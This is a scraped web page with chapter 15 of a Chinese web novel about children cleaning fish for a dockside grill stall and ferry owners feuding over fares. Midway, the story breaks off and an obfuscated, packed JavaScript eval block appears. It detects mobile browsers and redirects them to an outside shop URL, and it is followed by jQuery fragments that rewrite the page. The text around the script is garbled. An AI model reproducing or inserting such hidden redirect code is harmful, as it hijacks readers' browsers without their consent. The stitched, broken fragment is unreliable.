特约大厨 作品

15. 第 15 章

    一开始,秦虹的手法还有些生疏,但还是能一整套的做下来。


    李书源看着面无表情的秦虹,干脆利落的动作,吃惊了,“你怎么什么都会呀?你不怕的吗?”


    秦虹头也不抬:“怕什么?你家刹鸡拜二爷的时候,你不用打下手?那不也是一堆的红色?还臭!


    再说了,你在码头都逛几年了?起码也有两三年了吧?没看见码头的叔叔阿姨都是这么处理他们手头上的鱼的吗?”


    李书源迷茫的摇了摇头,刹鸡?拜二爷?不是用桃叶馍馍祭拜的吗?


    再说码头渔人处理海货的手法,他还真的没有注意到。


    见他还在愣,面前堆的鱼堆都快有十来条了,秦虹又喊了一句:“快干了,你今天还想不想要钱了?”


    李书源低头,也看见了脚下丢得随意的鱼仔,快要没过他脚背了,忙动了起来。


    这个关系到他以后的冰糕和小零食啊!


    要是没了,以后是不是还要冒着被打屁股的危险拿酒瓶子去换?


    他猛的摇了摇头,竹笋炒肉,谁吃谁知道,香的咧!


    一餐有,让人恨不得想要蹲在椅子上吃,就为了能靠餐桌近点!绝对不是屁股疼的坐不下!


    他热爱干活!选择死跟杨万摆摊!


    杨万带着其余两人,赶紧赶慢,终于赶在平常的时间来到码头上。


    但看见李书源和秦虹还没有出现,就知道她根本卖不了。忙叫其余两人去看看是怎么回事。


    也就有了之前的一幕,只剩她傻傻的在炉前拨弄着炭火,但就是不烤,也不卖。


    两人来到,见和平时差不多多的小鱼堆堆积在台阶上,“你们怎么都处理了这么多了也不搬过去啊?”


    李书源扶着腰,本想一口气站起来,但剧烈来袭的疼痛,让他不得不乖乖的扶着腰,学着只剩腰椎间盘最突出的【年轻人】,慢慢的站起来,语气也不怎么的耐烦。


    “我们怎么知道你们什么时候来?拿过去给谁?诶~!可干死我了!”


    启长青闻言,毫不犹豫的翻了一个白眼,“你就不能上来一点,坐在台阶上忙活?非要蹲着干?”


    李书源一脸呆萌:“那这样不就洗不了了?”


    他哪有那么长的手,能坐着就把东西伸进水内抽抽?过水?


    见说不明白,拿起秦虹刨开的小鱼,一把掏出里面的内脏,放在他们眼前晃了晃。


    “你看看,红不红,这样烤出来恶不恶心?你会选择买吗?所以当然要过一遍水啦。”说着,他又想弯腰洗鱼货。


    启长青被他的傻劲憋的说不出话,拎起地上已经空了的一个竹筐,“你就不能把处理好的都给丢进去?”


    说着,提着装满的竹筐,就在水里七上八下,“这样,不是一个竹筐内的都能洗干净?想要多干净都行。”


    李书源愣住了,好像还真的是。


    再看看在上面坐得舒服的秦虹,瞬间沧桑了十岁,有些气急败坏道:“那我辛苦了大半个小时,究竟是为了什么啊?”


    吭哧吭哧的蹲在河道旁干老半天,跟个二傻子一样!


    启长青和林凯娣默然,活能干成这样劳累,不是干得少,就是人傻,不懂想办法变通,不就只能“踏实”的干?


    启长青拿起处理好的小鱼仔走下台阶,像火锅刷肉一样,直接让灌进来的海水冲了两下。


    “谁知道你呢?现在不是还有两箩筐?还来得及,腰还不算太费。”


    说完,带着林凯娣,拿着东西就急匆匆走了。


    李书源看着一直没说话,但好奇看着眼前一切的秦虹,感觉更心塞了。


    就一会,她的面前,又堆积起了一个小山堆。


    表哥说的对,后面还有!


    想通了以后,非常乖顺的就在鱼堆旁边坐好,默默的做回他的掏鱼小工,掏一条抛一条进框,全然化身为莫得感情的掏鱼机器。


    今天收的鱼,并不比前天收的多。


    但架不住被处理过,整体入口,再也没有了一股子的苦味,加上还有可口的辣椒盐给撒上,整体来说,卖的非常快。


    ——


    在码头作为运货又运人的渡轮,驾驶它们的老板为了赚钱,基本上是白天黑夜都不想停歇。


    但人总是要休息的,那该怎么办?


    当然是能好好商议,就好好的商议啊。


    谁什么时间点出,谁跑哪里,都定好了,谁也别抢谁的,皆大欢喜!


    又不会因为想要抢生意,被那些死扣的货运工压价!


    简直是怄气还折本!


    碰上船多的时候,不答应降低点价格,根本就没什么人愿意上船。


    想硬气的跟等着坐低价船的货运工硬刚?说什么都不降?赖在码头不走?


    停靠费谁交?


    空船走?


    多来几次,亏得可以卖船了!


    当现在的油价,是不要钱的海水吗?开仓放进来船就能跑?有这样的好事?</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14378936|153201||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    p>


    在码头等客,顺带做维护的时候,只会看见挤满船只的码头,停靠着更多的船!


    本就看得够心烦的了,再来更多?停靠费不是更高?


    真要有这样的奇事发生,他们还是趁着铁价还行的时候,早点卖船回家种田去吧,免得饿死。


    既然决定了要聊,还牵扯到了码头不少船只的切身利益,一时半会肯定是谈不下来的。


    就要有人牵头,组个局,让各位老板聊一聊,顺带把控住场上的节奏。


    不然,局组起来了,但话题能偏到北冰洋去!


    等他们好不容易再把话题拐回来,开始商讨票价,经营时间问题时,票价都能被压到一分钱一张了!


    但,谁的时间都不合适,一天24小时,都有老板要做生意的啊!


    少跑一趟,损失多少?


    当他们是端着铁饭碗的工人吗?不想出工,请个假也没事?!


    更为关键的是,看这样的情形,一趟参与是解决不了问题的!


    谁也不愿在自己出船的时间去谈这些,尽管知道,这是必须要谈的。


    最后,还是持有几搜货轮最大的老板们忍不住了。


    在某天的早高峰期过后,让部分手下的船去码头守客,再派部分打手去【请】附近的货轮、渡轮老板上岸详谈!


    打算率先形成联盟,把持住票价,再【找】想以低价的,不正当手段竞争的船主谈,让他们少干自己定价的事情!别坏了码头的【规矩】!


    直接就导致当天来往的船少了,来往的时间久也被拉长了。


    加上他们的船大,开动一趟,要吃不少油,基本上都是坐不满就不走,导致整个码头滞留了不少人。


    但谁也不敢有怨言,有消息走漏说,这些渡轮的老板们吵架了!


    现在都在找地解决呢!


    顾不上码头!


    今天能载客的船就这么多!


    什么时候走,一问三不知!


    更有甚者说,今天可能没船能走,他们这些干苦力的要自求多福!


    有人不信,壮着胆子上去问了。


    看船的小工说不够人,就是不走!下一艘船没来以前,也不走。


    数数,还没有平时1/3多的渡轮停靠着,货运工们直接没脾气了。


    反倒还有不少在暗自担心,自己今天能有船回家吗?


    基本隔一段时间就跑过去问问,生怕停在码头的渡轮不开了,今天就真要睡码头了!